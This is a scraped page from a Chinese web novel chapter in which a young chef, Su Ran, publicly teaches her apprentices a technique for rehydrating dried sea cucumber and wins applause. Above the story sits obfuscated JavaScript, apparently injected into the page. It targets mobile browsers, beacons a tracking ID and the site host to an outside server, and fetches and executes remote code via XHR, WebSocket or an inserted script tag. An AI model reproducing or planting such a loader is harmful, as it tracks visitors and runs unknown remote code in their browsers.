第458章 :现场教学(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
真遗憾。
苏染:“稍等,我调下味很快就能吃了。”
她特地多做了点,就是为了让尽量多的人尝到。
但还是有不少人没吃到,气的想哭!
苏染:“不急,还有别的菜呢,这样,刚才吃过广肚的,接下来的菜就别吃啦,让给别的顾客尝尝。”
“那接下来是什么呀?”
“海参。”
苏染拿起晒干的海参,再次开启解说模式:“这乌参一般人只会用水泡,但这样泡出来的成品,整只入菜的话,肉质会非常奇怪。”
“就像我刚才那盘?”
刚才那位抱怨的顾客问。
苏染点头:“是的,你觉得那道海参的口感不对,是因为有的地方吃起来软、有的地方又很硬,口感很不均匀对不对?”
“对对对!就是!”
“嗯,因为它是我徒弟用水泡发的,功夫没到家,是我的失职。”
苏染看向身后的徒弟,说:“看好了,我现在教你们一个秘法——”
徒弟们连眼睛都不敢眨一下!
我的妈!
师傅真大气,秘法竟然当着这样多人的面,说教就教?
苏染:“入水泡发前,先要放在烧热的铁板上烘烤一下,再用小火把外面那层皮烧黑,再用小刀刮掉那层黑皮。”
“这几步做完之后,再入到水里去煮,泡发程序才算走完。”
“啊?这么复杂?为什么呀?”
徒弟们都不解。
苏染:“因为海参干虽然晒干了,但内部还是藏有一些潮湿志气的,按我说的法子才能彻底去除,也才能让它的口感回归均匀,不至于这里软,那里硬。”
“原来是这样!”
“嗯,你们看着,我演示一下。”
苏染说着就双手翻飞,很快就处理好了一堆海参。
紧跟着她扔进水里,说:“入水需要煮两次,放凉两次,等到这一步完成,才是真正发透了,你们看。”
苏染伸出手,轻轻掐了一块彻底发好的海参。
徒弟们惊呼:“这样随便一掐竟然能留印子?”
“是的,只有这样才是真正泡发到位了,做出来的口感才会嫩滑。”
“妙啊!”
不知道是谁带头鼓掌,大家马上跟随,全场炸雷般的掌声响起。
苏染自认为经过了大风大浪,却莫名有点害羞。
耳朵尖都红了几分。
众人:“苏老板,没想到你还挺害羞?”
“也是,毕竟就是个二十岁的小姑娘呢。”
这个年纪,本就该是羞涩的小女生啊,只是她能力太强,人又沉稳成熟,总让人忘了她的年纪。
现在一双耳朵都红透了,倒显出几分小女孩家的娇俏来了。
众人看她都带上了姨母笑。
“真可爱啊。”
可偏偏是这样可爱的人,做出了顶级大厨都未必有的水准。
“别的不说,就冲这一手泡发技术,就秒杀多少大厨?”
“是啊,这手艺绝了,换成别人,只怕当成传家秘籍了,藏着掖着都还怕别人会偷走呢。她却如此大方,当着我们这么多人面前就开始现场教学!毫不藏私!”
要知道,可是有不少人都开着手机在拍呢!
甚至还有人打开了直播!
这一份人品,如此大度开阔的心胸,试问有几人能做到